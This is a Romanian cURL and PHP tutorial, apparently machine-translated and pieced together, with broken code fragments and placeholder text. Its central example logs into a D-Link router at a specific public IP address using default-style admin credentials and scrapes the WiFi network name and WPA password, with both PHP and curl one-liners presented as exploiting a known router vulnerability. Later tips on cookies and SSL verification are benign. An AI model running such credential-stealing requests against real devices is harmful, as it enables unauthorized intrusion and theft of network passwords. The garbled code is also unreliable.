Detectarea redirecționării în funcție de browser
Efectuarea unei cereri POST către o anumită adresă URL
Fișier încărcat
CURL multiple
Verificarea linkurilor în WordPress
Câteva cuvinte despre alte opțiuni utile cURL
Autentificare HTTP
Încărcare FTP
Utilizarea unui proxy
Reapeluri
Concluzie
comanda curl
Cum se folosește curl?
Limita de viteza
Transfer de fișier
Se trimit date POST
Trimiterea și primirea cookie-urilor
Trecerea și analizarea antetelor
autentificare curl
Utilizarea proxy-ului
concluzii
Un alt exemplu practic: dorim să implementăm afișarea statisticilor generale pentru mai multe site-uri. Dacă utilizați cURL, atunci aceasta devine o sarcină complet banală: folosind cURL, ne autentificăm pe serviciul de colectare a statisticilor (dacă este necesar), apoi (din nou, folosind comenzile cURL) obținem paginile necesare, analizăm datele de care avem nevoie; procedura se repetă pentru toate site-urile noastre, apoi însumăm și afișăm rezultatul final.
Pe Fedora, CentOS sau RHEL:
$target_url- adresa site-ului care ne interesează. După adresa site-ului, puteți pune două puncte și adăugați adresa portului (dacă portul este diferit de cel standard).
Conținutul fișierului .htpasswd este cam așa:
cURL Autentificare HTTP
Uneori aceste date nu sunt suficiente. Să ne dăm seama.
Ne uităm la proprietate acțiune. Acestea. pagina finală este login.php. Avem nevoie de adresa completă, așa
Ascuns de oaspeți
Aici găsim și metoda de trimitere: method="post"
Știu, de asemenea, login și parola: admin și qwerasdfzxcv
Acestea. un șir este transmis serverului din formular folosind metoda POST. Teoretic, scriptul nostru anterior, în care am adăugat o nouă linie, ar trebui să funcționeze. Acestea. autentificarea trebuie să aibă loc.
0) ( echo "eroare curl: " . curl_error($ch); ) else ( ) curl_close($ch); ?>
Linie nouă în scenariu
curl_setopt($ch, CURLOPT_POSTFIELDS, "LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv");
Aici curl_setopt- funcția deja familiară pentru setarea opțiunilor pentru cURL, CURLOPT_POSTFIELDS este numele opțiunii pe care o setăm. CURLOPT_POSTFIELDS conține toate datele care sunt trimise prin metoda POST. Ei bine, linia în sine LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv- acestea sunt aceleași date pe care le transmitem.
Dacă examinați cu atenție formularul, puteți vedea că acesta conține și câmpuri ascunse. Și datele pot fi prelucrate sau completate cu JavaScript "s. Puteți studia toate acestea, dar eu prefer modalitatea mai simplă.
Folosesc Wireshark. Acest program este conceput pentru a adulmeca (intercepta) traficul. Și în ea este foarte convenabil să vedeți ce anume este transmis pe site.
Urmăriți acest mic videoclip:
Acestea. cu adresa unde sunt transferate datele, am ghicit. Dar șirul transmis s-a dovedit a fi mult mai complicat.
Am introdus parametrul corect și, de asemenea, am modificat ușor scriptul, astfel încât nu numai să se autentifice, ci și să primească ceva de la router:
0) ( echo "Eroare curl: " . curl_error($ch); ) else ( $target_url2 = "http://188.35.8.64:8080/bsc_wlan.php"; $ch2 = curl_init($target_url2); curl_setopt($ ch2, CURLOPT_RETURNTRANSFER, 1); $response_data2 = curl_exec($ch2); preg_match("|f.ssid.value = "(.*)";|", $response_data2, $results2); $results2 = str_replace("f .ssid.value = "", "", $results2); $results2 = str_replace("";", "", $results2); echo „Numele rețelei WiFi: $rezultate2
"; preg_match("|f_wpa.wpapsk1.value(.*)";|", $response_data2, $results3); $rezultate3 = str_replace("f_wpa.wpapsk1.value", "", $rezultate3); $rezultate3 = str_inlocuire("="", "", $rezultate3); $rezultate3 = str_inlocuire("";", "", $rezultate3); echo „Parola rețelei Wi-Fi: $rezultate3"; ) curl_close($ch); ?>
Ascuns de oaspeți
(Aceasta este o vulnerabilitate binecunoscută în routerele D-Link DIR-300, D-Link DIR-320 și D-Link DAP-1353).
cURL Autentificare HTTP pe linia de comandă
Cunoaștem deja adresa completă, precum și șirul care urmează să fie transmis. Prin urmare, totul este simplu:
Curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php
Cred că totul este clar, pentru că am luat deja în considerare acești termeni. Dacă cineva este neclar - întrebați în comentarii.
Un exemplu de utilizare a cURL pentru a obține și analiza date ar fi următorul set de comenzi:
Curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.35.8.64:8080/login.php &&n; " && echo „Numele rețelei Wi-Fi” && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f.ssid.value = "(.)*";" | sed "s/f.ssid.value = "//" | sed "s/";//" && echo "Parola rețelei Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f_wpa.wpapsk1.(.)*";" | sed "s/f_wpa.wpapsk1.value//" | sed "s/";//" | sed "s/="//"
Mai corect ar fi să scrieți datele de antet astfel: Cazuri de autorizare „complicate”. Acestea. pune cuvântul „complex” între ghilimele. Par complicate doar la prima vedere, când nu este clar: unde are loc trimiterea, care sunt numele câmpurilor, ce anume se trimite etc.
Dar, de fapt, toate se reduc la metodele POST sau GET. Pentru a înțelege ce anume se trimite, puteți salva pagina cu formularul pe disc și agăța funcția de afișare a datelor generate pentru trimitere pe butonul de trimitere. Sau chiar mai simplu - ca mine, Wireshark "ohm.
Dacă datele sunt corecte și autentificarea nu are loc, atunci trebuie să săpați în următoarele direcții:
- setați șirul de referință corect
- setați șirul de agent de utilizator „corect”.
Sfaturi și trucuri cURL
cURL și obținerea cookie-urilor în afară de CURLOPT_COOKIEJAR
Cred că este deja clar că cURL gestionează corect cookie-urile - le salvează, le folosește atunci când serverul le solicită etc. Dar uneori cookie-urile trebuie salvate. Există o opțiune CURLOPT_COOKIEJAR pentru aceasta, dar nu este întotdeauna posibil să o utilizați. Despre asta este primul nostru truc.
Uneori, din cauza naturii setărilor PHP de pe server, opțiuni precum CURLOPT_COOKIEJAR (vă permite să salvați cookie-urile primite într-un fișier) și CURLOPT_COOKIEFILE (vă permite să utilizați cookie-uri dintr-un fișier) nu ne sunt disponibile. pentru că ei spun că folosind aceste opțiuni vom putea extrage orice fișier de pe serverul lor. Iată soluția la această problemă:
1) Nu utilizați CURLOPT_FOLLOWLOCATION
2) Folosiți curl_setopt($ch, CURLOPT_HEADER, 1)
3) Colectăm cookie-uri din antet astfel:
preg_match_all("|Set-Cookie: (.*);|U", $conținut, $rezultate); $cookies = implode(";", $rezultate);
4) Setați-le folosind curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Al doilea sfat. Din atacatori ne putem transforma în victime. Pentru a nu deveni victima unui atac de tip om-in-the-middle, facem asta.
Vă rugăm să nu mai setați setarea CURLOPT_SSL_VERIFYPEER la fals sau 0. Dacă instalarea dvs. PHP nu are un set actualizat de certificate rădăcină CA, descărcați unul de pe site-ul web curl și salvați-l pe server:
Ascuns de oaspeți
Apoi setați calea în fișierul dvs. php.ini, de exemplu pe Windows:
curl.cainfo=c:phpcacert.pem
Dezactivarea CURLOPT_SSL_VERIFYPEER permite un atac de tip om-in-the-middle (MITM), pe care nu-l dorim!
Ei bine, un ultim sfat pentru azi. Știați că sunt posibile un număr mare de solicitări de curl asincrone?
Pentru aceasta puteți folosi curl_multi_init. Detalii și exemplu de cod în documentația oficială
Ascuns de oaspeți
Ascuns de oaspeți
Despre cURL pe linia de comandă
Ascuns de oaspeți
Pentru citirea în limba rusă a fost pregătită și a doua parte a lecției cURL: „”.